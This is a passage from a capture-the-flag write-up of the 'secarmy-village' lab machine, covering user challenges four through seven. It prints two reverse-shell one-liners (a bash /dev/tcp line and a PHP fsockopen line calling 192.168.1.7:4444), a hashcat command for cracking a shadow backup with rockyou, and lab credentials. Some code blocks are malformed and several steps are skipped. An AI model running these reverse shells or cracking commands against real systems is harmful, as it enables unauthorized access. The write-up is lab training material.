And appearenlty he does ! So let's try to use switch user
<imgsrc="https://imgur.com/SMJnL96.png"/>
We successfully switched to `don`
```
dos@svos:~$ ls -la
total 180
drwx------ 7 dos dos 4096 Oct 19 19:46 .
drwxr-xr-x 12 root root 4096 Oct 19 11:05 ..
-rw-rw-r-- 1 dos dos 47 Oct 5 09:24 1337.txt
-rw-r--r-- 1 dos dos 220 Sep 22 11:36 .bash_logout
-rw-r--r-- 1 dos dos 3771 Sep 22 11:36 .bashrc
drwx------ 2 dos dos 4096 Sep 22 12:49 .cache
drwx------ 2 dos dos 4096 Sep 22 13:59 .elinks
drwxr-xr-x 2 dos dos 135168 Sep 27 14:51 files
drwx------ 3 dos dos 4096 Sep 22 12:49 .gnupg
drwxrwxr-x 3 dos dos 4096 Sep 22 13:24 .local
-rw-r--r-- 1 dos dos 807 Sep 22 11:36 .profile
-rw-rw-r-- 1 dos dos 104 Sep 23 09:52 readme.txt
dos@svos:~$ cat readme.txt
You are required to find the following string inside the files folder:
a8211ac1853a1235d48829414626512a
dos@svos:~$
```
Now this says to find `a8211ac1853a1235d48829414626512a` this string which actually a md5 hash in folder `files` but problem is that that folder has 5001 text files
<imgsrc="https://imgur.com/tmr2MVG.png"/>
To be honest I did'nt know the command for looking for a text in files so I just used google
<imgsrc="https://imgur.com/uUSVxjL.png"/>
That returned me the result that I wanted
<imgsrc="https://imgur.com/Dj2b95d.png"/>
<imgsrc="https://imgur.com/ZycG1Rt.png"/>
Now it's telling you to look at `file3131.txt` which gives us
echo that token and pipe it to `netcat` by specifing IP and port
<imgsrc="https://imgur.com/pdJqNtG.png"/>
# Challenge 4 (Cuatro)
Now we are in as `tres` so let's start exploring his `home` directory
<imgsrc="https://imgur.com/7718Toh.png"/>
<imgsrc="https://imgur.com/5JKkCKO.png"/>
Now we are presented with a binary exploitation challenge(Buffer Overflow) , we can see a binary file `secarmy-village` . But running it gives us an error
<imgsrc="https://imgur.com/eT2ocfv.png"/>
I couldn't figure it out what was I supposed to fix in this binary , I had an idea to do something with `ghidra` but I failed to do it .
# Challenge 5 (Cinco)
when you visit `/var/www/html` this is where your webpage are being hosted , on visiting we can find directories and webpages there
<imgsrc="https://imgur.com/u7rBseo.png"/>
`anon` directory was the one which we came to know through `gobuster` so we know that these will be shown or port80 , let's try `justanothergallery`
<imgsrc="https://imgur.com/Glc0UT6.png"/>
It has an `index.php` page and a sub directory of `qr` which contains a lot of qr code images that we scan
<imgsrc="https://imgur.com/EOKkDJW.png"/>
We can this qr code from any qr android application which can be downloaded through playstore or from wherever you prefer
By scanning this qr code we will get the text `presented`
```
image-0 Hello
image-1 and
image-2 congrats
image-3 for
image-4 solving
image-5 this
image-6 challenge,
image-7 we
image-8 hope
image-9 that
image-10 you
image-11 enojoyed
image-12 the
image-13 challenges
image-14 we
image-15 presented
image-16 so
image-17 far.
image-18 It
image-19 is
image-20 time
image-21 for
image-22 us
image-23 to
image-24 increase
image-25 the
image-26 difficulty
image-27 level
image-28 and
image-29 make
image-30 the
image-31 upcoming
image-32 challenges
image-33 more
image-34 challenging
image-35 than
image-36 previous
image-37 ones.
image-38 Before
image-39 you
image-40 move
image-41 to
image-42 the
image-43 next
image-44 challenge,
image-45 here
image-46 are
image-47 the
image-48 credentials
image-49 for
image-50 the
image-51 5th
image-52 user
image-53 cinco:ruy70m35
image-54 head
image-55 over
image-56 to
image-57 this
image-58 user
image-59 and
image-60 get
image-61 your
image-62 5th
image-63 flag!
image-64 goodluck
```
Ahhhh , so I scanned the 64 qr images through my phone and got credentials for `cinco:ruy70m35`
<imgsrc="https://imgur.com/7OCvghc.png"/>
<imgsrc="https://imgur.com/oPcojH9.png"/>
Now the `readme.txt` says
```
cinco@svos:~$ cat readme.txt
Check for Cinco's secret place somewhere outside the house
cinco@svos:~$
```
By "looking outside the house" it means to look outside the `~` (home) directory
Here we find `cincos-secrets`
<imgsrc="https://imgur.com/YWRlVWk.png"/>
This is all we get at `cincos-secrets`
<imgsrc="https://imgur.com/CQI7QWO.png"/>
We know that `shadow.bak` which is backup of the original `shadow` file belongs to `cincos` so we can change permissions for the file since it belongs to us
It doesn't matter which permissions you give but in a real sceanrio you should give permissions to that specific user like this
`chmod u+rwx shadow.bak` or depending upon the type of file it is
We already know from the hint that we need to user `rockyou.txt`
Copy this whole hash and put it in a file , not necessary to give a `txt` extension. Now you can either use `john the ripper` or `hashcat` , for me `john the ripper` was taking too long so I used hashcat (although it doesn't work sometimes on windows but it dit work :D)
```
hashcat -a 0 -m 1800 -o cracked.txt hash /usr/share/wordlists/rockyou.tx
bash -i >& /dev/tcp/192.168.1.7/4444 0>&1 - This did'nt worked
php -r '$sock=fsockopen("192.168.1.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");' This did
<imgsrc="https://imgur.com/gG2jzrk.png"/>
<imgsrc="https://imgur.com/nON3h4W.png"/>
We cannot read the file because it's permissions are to just `write` and `execute` but since it belongs to us we can pretty much change it to readable.
```
/var/www/html/shellcmsdashboard
$ cat readme9213.txt
cat: readme9213.txt: Permission denied
$ ls -la
total 24
drwxrwxrwx 2 root root 4096 Oct 18 15:02 .
drwxr-xr-x 5 root root 4096 Oct 8 17:51 ..
-rwxrwxrwx 1 root root 1459 Oct 1 17:57 aabbzzee.php
-rwxrwxrwx 1 root root 1546 Oct 18 15:02 index.php
--wx-wx-wx 1 www-data root 48 Oct 8 17:54 readme9213.txt
-rwxrwxrwx 1 root root 58 Oct 1 17:37 robots.txt
$ chmod u=rwx readme9213.txt
$ cat readme9213.txt
password for the seventh user is 6u1l3rm0p3n473
$
```
<imgsrc="https://imgur.com/cecymw8.png"/>
<imgsrc="https://imgur.com/ITkR23I.png"/>
Hint is given which tells that the message is a decimal text
<imgsrc="https://imgur.com/6PY0UhO.png"/>
On decoding the message from deciaml we get
<imgsrc="https://imgur.com/5hzbZ38.png"/>
I wasn't able to solve this challenge so couldn't proceed any further.
